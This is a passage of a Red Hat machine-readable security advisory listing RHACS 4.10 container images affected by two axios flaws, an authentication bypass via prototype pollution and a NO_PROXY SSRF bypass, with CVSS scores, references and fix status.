"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"category": "external",
"summary": "RHBZ#2461629",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461629"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63",
"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
}
],
"release_date": "2026-04-24T17:55:30.036000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling"
},
{
"cve": "CVE-2026-42043",
"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
},
"discovery_date": "2026-04-24T19:01:22.552379+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461626"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: NO_PROXY bypass via crafted URL",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
